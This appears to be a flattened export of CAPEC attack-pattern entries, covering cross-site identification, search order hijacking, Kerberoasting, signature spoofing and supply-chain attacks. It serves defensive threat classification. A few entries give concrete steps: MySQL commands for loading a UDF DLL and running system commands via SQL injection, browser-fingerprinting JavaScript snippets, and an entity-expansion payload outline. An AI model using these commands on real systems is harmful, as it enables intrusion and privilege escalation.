  • Ability to detect instances where a target system is vulnerable to an oracle padding attack Sufficient cryptography knowledge and tools needed to take advantage of the presence of the padding oracle to perform decryption / encryption of data without a key
Draft High 3.9
97
Cross Site Identification Detailed An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim. 2014-06-23 02:00:00 Capec: CAPEC-467
Cwe: CWE-352
Cwe: CWE-359
Reference_from_capec: REF-404
2022-02-22 01:00:00 2.1 Software
  1. An attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in their browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site.
None None
  • The victim has an active session with the social networking site.
High: An attacker should be able to create a payload and deliver it to the victim's browser. Medium: An attacker needs to know how to interact with various social networking sites (e.g., via available APIs) to request information and how to send the harvested data back to the attacker. Draft Low 3.9
62
Expanding Control over the Operating System from the Database Detailed An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc. 2014-06-23 02:00:00 Capec: CAPEC-470
Cwe: CWE-250
Cwe: CWE-89
Reference_from_capec: REF-408
2020-12-17 01:00:00 2.1 Software

Explore

  1. The adversary identifies a database management system running on a machine they would like to gain control over, or on a network they want to move laterally through.

Experiment

  1. The adversary goes about the typical steps of an SQL injection and determines if an injection is possible.
  2. Once the Adversary determines that an SQL injection is possible, they must ensure that the requirements for the attack are met. These are a high privileged session user and batched query support. This is done in similar ways to discovering if an SQL injection is possible.
  3. If the requirements are met, based on the database management system that is running, the adversary will find or create user defined functions (UDFs) that can be loaded as DLLs. An example of a DLL can be found at https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
  4. In order to load the DLL, the adversary must first find the path to the plugin directory. The command to achieve this is different based on the type of DBMS, but for MySQL, this can be achieved by running the command "select @@plugin_dir"

Exploit

  1. The DLL is then moved into the previously found plugin directory so that the contained functions can be loaded. This can be done in a number of ways; loading from a network share, writing the entire hex encoded string to a file in the plugin directory, or loading the DLL into a table and then into a file. An example using MySQL to load the hex string is as follows. select 0x4d5a9000... into dump file "{plugin directory}\\udf.dll";
  2. Once the DLL is in the plugin directory, a command is then run to load the UDFs. An example of this in MySQL is "create function sys_eval returns string soname 'udf.dll';" The function sys_eval is specific to the example DLL listed above.
  3. Once the adversary has loaded the desired function(s), they will use these to execute arbitrary commands on the compromised system. This is done through a simple select command to the loaded UDF. For example: "select sys_eval('dir');". Because the prerequisite to this attack is that the database session user is a super user, this means that the adversary will be able to execute commands with elevated privileges.
None
  • A vulnerable DBMS is usedA SQL injection exists that gives an attacker access to the database or an attacker has access to the DBMS via other means
High: Low level knowledge of the various facilities available in different DBMS systems for interacting with the file system and operating system Draft Very High 3.9
66
Search Order Hijacking Detailed An adversary exploits a weakness in an application's specification of external libraries to exploit the functionality of the loader where the process loading the library searches first in the same directory in which the process binary resides and then in other directories. Exploitation of this preferential search order can allow an attacker to make the loading process load the adversary's rogue library rather than the legitimate library. This attack can be leveraged with many different libraries and with many different loading processes. No forensic trails are left in the system's registry or file system that an incorrect library had been loaded. 2014-06-23 02:00:00 Capec: CAPEC-471
Cwe: CWE-427
Attack: T1574.001
Attack: T1574.004
Attack: T1574.008
Reference_from_capec: REF-409
2022-09-29 02:00:00 2.1 Software
  1. For instance, an attacker with access to the file system may place a malicious ntshrui.dll in the C:\Windows directory. This DLL normally resides in the System32 folder. Process explorer.exe which also resides in C:\Windows, upon trying to load the ntshrui.dll from the System32 folder will actually load the DLL supplied by the attacker simply because of the preferential search order. Since the attacker has placed its malicious ntshrui.dll in the same directory as the loading explorer.exe process, the DLL supplied by the attacker will be found first and thus loaded in lieu of the legitimate DLL. Since explorer.exe is loaded during the boot cycle, the attackers' malware is guaranteed to execute.
  2. macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.

Explore

  1. Identify target general susceptibility: An attacker uses an automated tool or manually finds whether the target application uses dynamically linked libraries and the configuration file or look up table (such as Procedure Linkage Table) which contains the entries for dynamically linked libraries.
  2. Techniques
    The attacker uses a tool such as the OSX "otool" utility or manually probes whether the target application uses dynamically linked libraries.
    The attacker finds the configuration files containing the entries to the dynamically linked libraries and modifies the entries to point to the malicious libraries the attacker crafted.

Experiment

  1. Craft malicious libraries: The attacker uses knowledge gained in the Explore phase to craft malicious libraries that they will redirect the target to leverage. These malicious libraries could have the same APIs as the legitimate library and additional malicious code.
  2. Techniques
    The attacker monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the attacker can delay the operations by using "sleep(2)" and "usleep()" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.

Exploit

  1. Redirect the access to libraries to the malicious libraries: The attacker redirects the target to the malicious libraries they crafted in the Experiment phase. The attacker will be able to force the targeted application to execute arbitrary code when the application attempts to access the legitimate libraries.
  2. Techniques
    The attacker modifies the entries in the configuration files pointing to the malicious libraries they crafted.
    The attacker leverages symlink/timing issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-132.
    The attacker leverages file search path order issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-38.
None
  • Attacker has a mechanism to place its malicious libraries in the needed location on the file system.
Medium: Ability to create a malicious library. Stable Medium 3.9
159
Browser Fingerprinting Detailed An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser. 2014-06-23 02:00:00 Capec: CAPEC-472
Cwe: CWE-200
Reference_from_capec: REF-410
2022-09-29 02:00:00 2.1 Software
  1. The following code snippets can be used to detect various browsers: Firefox 2/3 FF=/a/[-1]=='a' Firefox 3 FF3=(function x(){})[-5]=='x' Firefox 2 FF2=(function x(){})[-6]=='x' IE IE='\v'=='v' Safari Saf=/a/.__proto__=='//' Chrome Chr=/source/.test((/a/.toString+'')) Opera Op=/^function \\(/.test([].sort)
None None
  • Victim's browser visits a website that contains attacker's Java ScriptJava Script is not disabled in the victim's browser
Draft Low 3.9
541
Signature Spoofing by Key Theft Detailed An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker. 2014-06-23 02:00:00 Capec: CAPEC-474
Cwe: CWE-522
Attack: T1552.004
Reference_from_capec: REF-411
Reference_from_capec: REF-412
Reference_from_capec: REF-413
2022-09-29 02:00:00 2.1 Software
None Medium
  • An authoritative or reputable signer is storing their private signature key with insufficient protection.
Low: Knowledge of common location methods and access methods to sensitive data High: Ability to compromise systems containing sensitive data Draft High 3.9
473
Signature Spoofing by Improper Validation Detailed An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key. Signature verification algorithms are generally used to determine whether a certificate or piece of code (e.g. executable, binary, etc.) possesses a valid signature and can be trusted. If the leveraged algorithm confirms that a valid signature exists, it establishes a foundation of trust that is further conveyed to the end-user when interacting with a website or application. However, if the signature verification algorithm improperly validates the signature, either by not validating the signature at all or by failing to fully validate the signature, it could result in an adversary generating a spoofed signature and being classified as a legitimate entity. Successfully exploiting such a weakness could further allow the adversary to reroute users to malicious sites, steals files, activates microphones, records keystrokes and passwords, wipes disks, installs malware, and more. 2014-06-23 02:00:00 Capec: CAPEC-475
Cwe: CWE-347
Cwe: CWE-327
Cwe: CWE-295
Reference_from_capec: REF-562
Reference_from_capec: REF-563
Reference_from_capec: REF-564
2022-02-22 01:00:00 2.1 Software
  1. The Windows CryptoAPI (Crypt32.dll) was shown to be vulnerable to signature spoofing by failing to properly validate Elliptic Curve Cryptography (ECC) certificates. If the CryptoAPI's signature validator allows the specification of a nonstandard base point (G): "An adversary can create a custom ECDSA certificate with an elliptic curve (ECC) signature that appears to match a known standard curve, like P-256 that includes a public key for an existing known trusted certificate authority, but which was in fact not signed by that certificate authority. Windows checks the public key and other curve parameters, but not the (bespoke adversary-supplied) base point generator (G) parameter constant which actually generated the curve" [REF-562]. Exploiting this vulnerability allows the adversary to leverage a spoofed certificate to dupe trusted network connections and deliver/execute malicious code, while appearing as legitimately trusted entity [REF-563]. This ultimately tricks the victim into believing the malicious website or executable is legitimate and originates from a properly verified source. See also: CVE-2020-0601
None Low
  • Recipient is using a weak cryptographic signature verification algorithm or a weak implementation of a cryptographic signature verification algorithm, or the configuration of the recipient's application accepts the use of keys generated using cryptographically weak signature verification algorithms.
High: Reverse engineering and cryptanalysis of signature verification algorithm implementation Draft High 3.9
473
Signature Spoofing by Misrepresentation Detailed An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions. 2014-06-23 02:00:00 Capec: CAPEC-476
Cwe: CWE-290
Reference_from_capec: REF-414
2019-04-04 02:00:00 2.1 Software
None Low
  • Recipient is using signature verification software that does not clearly indicate potential homographs in the signer identity.Recipient is using signature verification software that contains a parsing vulnerability, or allows control characters in the signer identity field, such that a signature is mistakenly displayed as valid and from a known or authoritative signer.
High: Attacker may be required to create malformed data blobs and know how to insert them in a location that the recipient will visit. Draft High 3.9
473
Signature Spoofing by Mixing Signed and Unsigned Content Detailed An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data. 2014-06-23 02:00:00 Capec: CAPEC-477
Cwe: CWE-693
Cwe: CWE-311
Cwe: CWE-319
2014-06-23 02:00:00 2.1 Software
None Low
  • Signer and recipient are using complex data storage structures that allow for a mix between signed and unsigned data
  • Recipient is using signature verification software that does not maintain separation between signed and unsigned data once the signature has been verified.
High: Attacker must be able to create malformed data blobs and know how to insert them in a location that the recipient will visit. Draft High 3.9
473
Modification of Windows Service Configuration Detailed An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service. 2018-04-25 02:00:00 Capec: CAPEC-478
Cwe: CWE-284
Attack: T1574.011
Attack: T1543.003
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (By altering specific configuration settings for the service, the adversary could run arbitrary code to be executed.)
Software

Explore

  1. Determine target system: The adversary must first determine the system they wish to modify the registry of. This needs to be a windows machine as this attack only works on the windows registry.

Experiment

  1. Gain access to the system: The adversary needs to gain access to the system in some way so that they can modify the windows registry.
  2. Techniques
    Gain physical access to a system either through shoulder surfing a password or accessing a system that is left unlocked.
    Gain remote access to a system through a variety of means.

Exploit

  1. Modify windows registry: The adversary will modify the windows registry by changing the configuration settings for a service. Specifically, the adversary will change the path settings to define a path to a malicious binary to be executed.
Low
  • The adversary must have the capability to write to the Windows Registry on the targeted system.
  • None: No specialized resources are required to execute this type of attack.
Usable High 3.9
203
Malicious Root Certificate Detailed An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. 2018-04-26 02:00:00 Capec: CAPEC-479
Cwe: CWE-284
Attack: T1553.004
2020-07-30 02:00:00 2.1 Software
None Low
  • The adversary must have the ability to create a new root certificate.
Stable Low 3.9
473
Signature Spoofing by Key Recreation Detailed An attacker obtains an authoritative or reputable signer's private signature key by exploiting a cryptographic weakness in the signature algorithm or pseudorandom number generation and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker. 2014-06-23 02:00:00 Capec: CAPEC-485
Cwe: CWE-330
Attack: T1552.004
Reference_from_capec: REF-419
Reference_from_capec: REF-420
2022-09-29 02:00:00 2.1 Software
None Low
  • An authoritative signer is using a weak method of random number generation or weak signing software that causes key leakage or permits key inference.
  • An authoritative signer is using a signature algorithm with a direct weakness or with poorly chosen parameters that enable the key to be recovered using signatures from that signer.
High: Ability to create malformed data blobs and know how to present them directly or indirectly to a victim. Draft High 3.9
473
Quadratic Data Expansion Detailed An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources. 2014-06-23 02:00:00 Capec: CAPEC-491
Cwe: CWE-770
2022-09-29 02:00:00 2.1
  • XML Entity Expansion (XEE)
Availability:
  • Unreliable Execution (Denial of Service)
  • Resource Consumption (Denial of Service)
Software
  1. In this example the attacker defines one large entity and refers to it many times. ... [100K of them] ...AAAA">]>&x; &x;... [100K of them]...&x;&x; This results in a relatively small message of 100KBs that will expand to a message in the GB range.

Explore

  1. Survey the target: An adversary determines the input data stream that is being processed by a data parser that supports using substituion on the victim's side.
  2. Techniques
    Use an automated tool to record all instances of URLs to process requests.
    Use a browser to manually explore the website and analyze how the application processes requests.

Exploit

  1. Craft malicious payload: The adversary crafts malicious message containing nested quadratic expansion that completely uses up available server resource.
  2. Send the message: Send the malicious crafted message to the target URL.
None
  • This type of attack requires a server that accepts serialization data which supports substitution and parses the data.
Draft None 3.9
230
Probe iOS Screenshots Detailed An adversary examines screenshot images created by iOS in an attempt to obtain sensitive information. This attack targets temporary screenshots created by the underlying OS while the application remains open in the background. These images are used by iOS to aid in the visual transition between open applications and improve the user's experience with a device. An application can be at risk even if it properly protects sensitive information when at rest. If the application displays sensitive information on the screen, then the potential exists for iOS to unintentionally record that information in an image file. An adversary can retrieve these images either by gaining access to the image files, or by physically obtaining the device and leveraging the multitasking switcher interface. This attack differs from CAPEC-648, which targets intentional screenshots initiated by an end-user that are stored in the device's storage. 2014-06-23 02:00:00 Capec: CAPEC-498
Cwe: CWE-359
Reference_from_capec: REF-426
2023-01-24 01:00:00 2.1 Software
None None
  • This type of an attack requires physical access to a device to either excavate the image files (potentially by leveraging a Jailbreak) or view the screenshots through the multitasking switcher (by double tapping the home button on the device).
Draft None 3.9
545
WebView Injection Detailed An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page. 2014-06-23 02:00:00 Capec: CAPEC-500
Cwe: CWE-749
Cwe: CWE-940
Reference_from_capec: REF-430
2023-01-24 01:00:00 2.1 Software

Explore

  1. Determine target web application: An adversary first needs to determine what web application they wish to target.
  2. Techniques
    Target web applications that require users to enter sensitive information.
    Target web applications that an adversary wishes to operate on behalf of a logged in user.

Experiment

  1. Create malicious application: An adversary creates an application, often mobile, that incorporates a WebView component to display the targeted web application. This malicious application needs to downloaded by a user, so adversaries will make this application useful in some way.
  2. Techniques
    Create a 3rd party application that adds useful functionality to the targeted web application. Victims will download the application as a means of using the targeted web application.
    Create a fun game that at some point directs a user to the targeted web application. For example, prompt the user to buy in game currency by directing them to PayPal.
  3. Get the victim to download and run the application: An adversary needs to get the victim to willingly download and run the application.
  4. Techniques
    Pay for App Store advertisements
    Promote the application on social media, either through accounts made by the adversary or by paying for other accounts to advertise.

Exploit

  1. Inject malicious code: Once the victim runs the malicious application and views the targeted web page in the WebView component, the malicious application will inject malicious JavaScript code into the web application. This is done by using WebView's loadURL() API, which can inject arbitrary JavaScript code into pages loaded by the WebView component with the same privileges. This is often done by adding a script tag to the document body with a src destination to a remote location that serves malicious JavaScript code.
  2. Techniques
    Execute operations on the targeted web page on behalf of an authenticated user.
    Steal cookie information from the victim.
    Add in extra fields to the DOM in an attempt to get a user to divulge sensitive information.
None
  • An adversary must be able install a purpose built malicious application onto the device and convince the user to execute it. The malicious application is designed to target a specific web application and is used to load the target web pages via the WebView component. For example, an adversary may develop an application that interacts with Facebook via WebView and adds a new feature that a user desires. The user would install this 3rd party app instead of the Facebook app.
Draft None 3.9
253
Android Activity Hijack Detailed An adversary intercepts an implicit intent sent to launch a Android-based trusted activity and instead launches a counterfeit activity in its place. The malicious activity is then used to mimic the trusted activity's user interface and prompt the target to enter sensitive data as if they were interacting with the trusted activity. 2014-06-23 02:00:00 Capec: CAPEC-501
Cwe: CWE-923
Reference_from_capec: REF-427
2021-10-21 02:00:00 2.1 Confidentiality:
  • Read Data
Software
Software

Explore

  1. Find an android application that uses implicit intents: Since this attack only works on android applications that use implicit intents, rather than explicit intents, an adversary must first identify an app that uses implicit intents to launch an Android-based trusted activity, and what that activity is.

Experiment

  1. Create a malicious app: The adversary must create a malicious android app meant to intercept implicit intents to launch an Adroid-based trusted activity. This malicious app will mimic the trusted activiy's user interface to get the user to enter sensitive data.
  2. Techniques
    Specify the type of intent wished to be intercepted in the malicious app's manifest file using an intent filter
  3. Get user to download malicious app: The adversary must get a user using the targeted app to download the malicious app by any means necessary

Exploit

  1. Gather sensitive data through malicious app: Once the target application sends an implicit intent to launch a trusted activity, the malicious app will be launched instead that looks identical to the interface of that activity. When the user enters sensitive information it will be captured by the malicious app.
  2. Techniques
    Gather login information from a user using a malicious app
None
  • The adversary must have previously installed the malicious application onto the Android device that will run in place of the trusted activity.
  • Malware capable of acting on the adversary's objectives.
High: The adversary must typically overcome network and host defenses in order to place malware on the system. Draft Medium 3.9
Scheme Squatting Detailed An adversary, through a previously installed malicious application, registers for a URL scheme intended for a target application that has not been installed. Thereafter, messages intended for the target application are handled by the malicious application. Upon receiving a message, the malicious application displays a screen that mimics the target application, thereby convincing the user to enter sensitive information. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user as they think that they are interacting with the intended target application. 2014-06-23 02:00:00 Capec: CAPEC-505
Reference_from_capec: REF-434
2022-09-29 02:00:00 2.1 Social Engineering
None None Draft None 3.9
616
Shoulder Surfing Detailed In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack. 2020-07-30 02:00:00 Capec: CAPEC-508
Cwe: CWE-200
Cwe: CWE-359
2020-07-30 02:00:00 2.1 Confidentiality:
  • Read Data
Physical Security
  1. An adversary can capture a target's banking credentials and transfer money to adversary-controlled accounts.
  2. An adversary observes the target's mobile device lock screen pattern/passcode and then steals the device, which can now be unlocked.
  3. An insider could obtain database credentials for an application and sell the credentials on the black market.
  4. An insider overhears a conversation pertaining to classified information, which could then be posted on an anonymous online forum.
None High
  • The adversary typically requires physical proximity to the target's environment, in order to observe their screen or conversation. This may not be the case if the adversary is able to record the target and obtain sensitive information upon review of the recording.
Low: In most cases, an adversary can simply observe and retain the desired information. Draft High 3.9
651
Kerberoasting Detailed Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials. 2019-04-04 02:00:00 Capec: CAPEC-509
Cwe: CWE-522
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-294
Cwe: CWE-263
Cwe: CWE-262
Cwe: CWE-521
Attack: T1558.003
Reference_from_capec: REF-559
Reference_from_capec: REF-585
Reference_from_capec: REF-586
2020-12-17 01:00:00 2.1 Confidentiality:
  • Gain Privileges
Software
  1. PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]

Explore

  1. Scan for user accounts with set SPN values
  2. Techniques
    These can be found via Powershell or LDAP queries, as well as enumerating startup name accounts and other means.
  3. Request service tickets
  4. Techniques
    Using user account's SPN value, request other service tickets from Active Directory

Experiment

  1. Extract ticket and save to disk
  2. Techniques
    Certain tools like Mimikatz can extract local tickets and save them to memory/disk.

Exploit

  1. Crack the encrypted ticket to harvest plain text credentials
  2. Techniques
    Leverage a brute force application/script on the hashed value offline until cracked. The shorter the password, the easier it is to crack.
None
  • The adversary requires access as an authenticated user on the system. This attack pattern relates to elevating privileges.
  • The adversary requires use of a third-party credential harvesting tool (e.g., Mimikatz).
  • The adversary requires a brute force tool.
Medium: Stable High 3.9
652
Infiltration of Software Development Environment Detailed An attacker uses common delivery mechanisms such as email attachments or removable media to infiltrate the IDE (Integrated Development Environment) of a victim manufacturer with the intent of implanting malware allowing for attack control of the victim IDE environment. The attack then uses this access to exfiltrate sensitive data or information, manipulate said data or information, and conceal these actions. This will allow and aid the attack to meet the goal of future compromise of a recipient of the victim's manufactured product further down in the supply chain. 2014-06-23 02:00:00 Capec: CAPEC-511
Attack: T1195.001
Reference_from_capec: REF-439
2022-09-29 02:00:00 2.1 Supply Chain
  1. The attacker, knowing the victim runs email on a system adjacent to the IDE system, sends a phishing email with a malicious attachment to the victim. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent IDE system from the victim's workstation. The attacker is then able to exfiltrate sensitive data about the software being developed on the IDE system.
  2. Using rogue versions of Xcode (Apple's app development tool) downloaded from third-party websites, it was possible for the adversary to insert malicious code into legitimate apps during the development process.
None Low
  • The victim must use email or removable media from systems running the IDE (or systems adjacent to the IDE systems).
  • The victim must have a system running exploitable applications and/or a vulnerable configuration to allow for initial infiltration.
  • The attacker must have working knowledge of some if not all of the components involved in the IDE system as well as the infrastructure.
High: Development skills to construct malicious attachments that can be used to exploit vulnerabilities in typical desktop applications or system configurations. The malicious attachments should be crafted well enough to bypass typical defensive systems (IDS, anti-virus, etc) Medium: Intelligence about the manufacturer's operating environment and infrastructure. Draft High 3.9
444
Hardware Component Substitution During Baselining Detailed An adversary with access to system components during allocated baseline development can substitute a maliciously altered hardware component for a baseline component during the product development and research phases. This can lead to adjustments and calibrations being made in the product so that when the final product, now containing the modified component, is deployed it will not perform as designed and be advantageous to the adversary. 2014-06-23 02:00:00 Capec: CAPEC-516
Attack: T1195.003
Reference_from_capec: REF-439
Reference_from_capec: REF-712
2022-09-29 02:00:00 2.1 Supply Chain
Hardware
  1. An adversary supplies the product development facility of a network security device with a hardware component that is used to simulate large volumes of network traffic. The device claims in logs, stats, and via the display panel to be pumping out very large quantities of network traffic, when it is in fact putting out very low volumes. The developed product is adjusted and configured to handle what it believes to be a heavy network load, but when deployed at the victim site the large volumes of network traffic are dropped instead of being processed by the network security device. This allows the adversary an advantage when attacking the victim in that the adversary's presence may not be detected by the device.
None Low
  • The adversary will need either physical access or be able to supply malicious hardware components to the product development facility.
High: Resources to physically infiltrate supplier. Medium: Intelligence data on victim's purchasing habits. Draft High 3.9
444
Documentation Alteration to Circumvent Dial-down Detailed An attacker with access to a manufacturer's documentation, which include descriptions of advanced technology and/or specific components' criticality, alters the documents to circumvent dial-down functionality requirements. This alteration would change the interpretation of implementation and manufacturing techniques, allowing for advanced technologies to remain in place even though these technologies might be restricted to certain customers, such as nations on the terrorist watch list, giving the attacker on the receiving end of a shipped product access to an advanced technology that might otherwise be restricted. 2014-06-23 02:00:00 Capec: CAPEC-517
Reference_from_capec: REF-439
Reference_from_capec: REF-715
2022-02-22 01:00:00 2.1 Supply Chain
  1. A product for manufacture exists that contains advanced cryptographic capabilities, including algorithms that are restricted from being shipped to some nations. An attacker from one of the restricted nations alters the documentation to ensure that when the product is manufactured for shipment to a restricted nation, the software compilation steps that normally would prevent the advanced cryptographic capabilities from being included are actually included. When the product is shipped to the attacker's home country, the attacker is able to retrieve and/or use the advanced cryptographic capabilities.
None Low
  • Advanced knowledge of internal software and hardware components within manufacturer's development environment.
  • Access to the manufacturer's documentation.
High: Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. Draft High 3.9
447
Documentation Alteration to Produce Under-performing Systems Detailed An attacker with access to a manufacturer's documentation alters the descriptions of system capabilities with the intent of causing errors in derived system requirements, impacting the overall effectiveness and capability of the system, allowing an attacker to take advantage of the introduced system capability flaw once the system is deployed. 2014-06-23 02:00:00 Capec: CAPEC-518
Reference_from_capec: REF-439
Reference_from_capec: REF-715
2022-02-22 01:00:00 2.1 Supply Chain
  1. A security subsystem involving encryption is a part of a product, but due to the demands of this subsystem during operation, the subsystem only runs when a specific amount of memory and processing is available. An attacker alters the descriptions of the system capabilities so that when deployed with the minimal requirements at the victim location, the encryption subsystem is never operational, leaving the system in a weakened security state.
None Low
  • Advanced knowledge of software and hardware capabilities of a manufacturer's product.
  • Access to the manufacturer's documentation.
High: Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. Draft High 3.9
447
Documentation Alteration to Cause Errors in System Design Detailed An attacker with access to a manufacturer's documentation containing requirements allocation and software design processes maliciously alters the documentation in order to cause errors in system design. This allows the attacker to take advantage of a weakness in a deployed system of the manufacturer for malicious purposes. 2014-06-23 02:00:00 Capec: CAPEC-519
Reference_from_capec: REF-439
Reference_from_capec: REF-715
2022-02-22 01:00:00 2.1 Supply Chain
  1. During operation, a firewall will restart various subsystems to reload and implement new rules as added by the user. An attacker alters the software design dependencies in the manufacturer's documentation so that under certain predictable conditions the reload will fail to load in rules resulting in a "fail open" state. Once deployed at a victim site, this will allow the attacker to bypass the victim's firewall.
None Low
  • Advanced knowledge of software capabilities of a manufacturer's product.
  • Access to the manufacturer's documentation.
High: Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. Draft High 3.9
447
Counterfeit Hardware Component Inserted During Product Assembly Detailed An adversary with either direct access to the product assembly process or to the supply of subcomponents used in the product assembly process introduces counterfeit hardware components into product assembly. The assembly containing the counterfeit components results in a system specifically designed for malicious purposes. 2014-06-23 02:00:00 Capec: CAPEC-520
Attack: T1195.003
Reference_from_capec: REF-439
Reference_from_capec: REF-712
Reference_from_capec: REF-713
2022-09-29 02:00:00 2.1 Supply Chain
  1. A manufacturer of a firewall system requires a hardware card which functions as a multi-jack ethernet card with four ethernet ports. The adversary constructs a counterfeit card that functions normally except that packets from the adversary's network are allowed to bypass firewall processing completely. Once deployed at a victim location, this allows the adversary to bypass the firewall unrestricted.
  2. In 2018 it was discovered that Chinese spies infiltrated several U.S. government agencies and corporations as far back as 2015 by including a malicious microchip within the motherboard of servers sold by Elemental Technologies to the victims. Although these servers were assembled via a U.S. based company, the motherboards used within the servers were manufactured and maliciously altered via a Chinese subcontractor. Elemental Technologies then sold these malicious servers to various U.S. government agencies, such as the DoD and CIA, and corporations like Amazon and Apple. The malicious microchip provided adversaries with a backdoor into the system, which further allowed them to access any network that contained the exploited systems, to exfiltrate data to be sent to the Chinese government.[REF-713]
None Low
  • The adversary will need either physical access or be able to supply malicious hardware components to the product development facility.
High: Resources to physically infiltrate manufacturer or manufacturer's supplier. Draft High 3.9
444
Hardware Design Specifications Are Altered Detailed An attacker with access to a manufacturer's hardware manufacturing process documentation alters the design specifications, which introduces flaws advantageous to the attacker once the system is deployed. 2014-06-23 02:00:00 Capec: CAPEC-521
Reference_from_capec: REF-439
Reference_from_capec: REF-715
2022-02-22 01:00:00 2.1 Supply Chain
Hardware
  1. To operate at full capability, a manufacturer's network intrusion detection device needs to have either a Intel Xeon E7-2820 or AMD FX-8350 which have 8 "cores" available, allowing for advanced threading needed to handle large volumes of network traffic without resorting to dropping packets from the detection process. The attacker alters the documentation to state that the system design must use the Intel Core Duo or the AMD Phenom II X2, which only have 2 cores, causing the system to drop large amounts of packets during deployment at a victim site with large amounts of network traffic.
None Low
  • Advanced knowledge of hardware capabilities of a manufacturer's product.
  • Access to the manufacturer's documentation.
High: Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. Draft High 3.9
447
Provide Counterfeit Component Detailed An attacker provides a counterfeit component during the procurement process of a lower-tier component supplier to a sub-system developer or integrator, which is then built into the system being upgraded or repaired by the victim, allowing the attacker to cause disruption or additional compromise. 2014-06-23 02:00:00 Capec: CAPEC-530
Reference_from_capec: REF-439
Reference_from_capec: REF-698
Reference_from_capec: REF-703
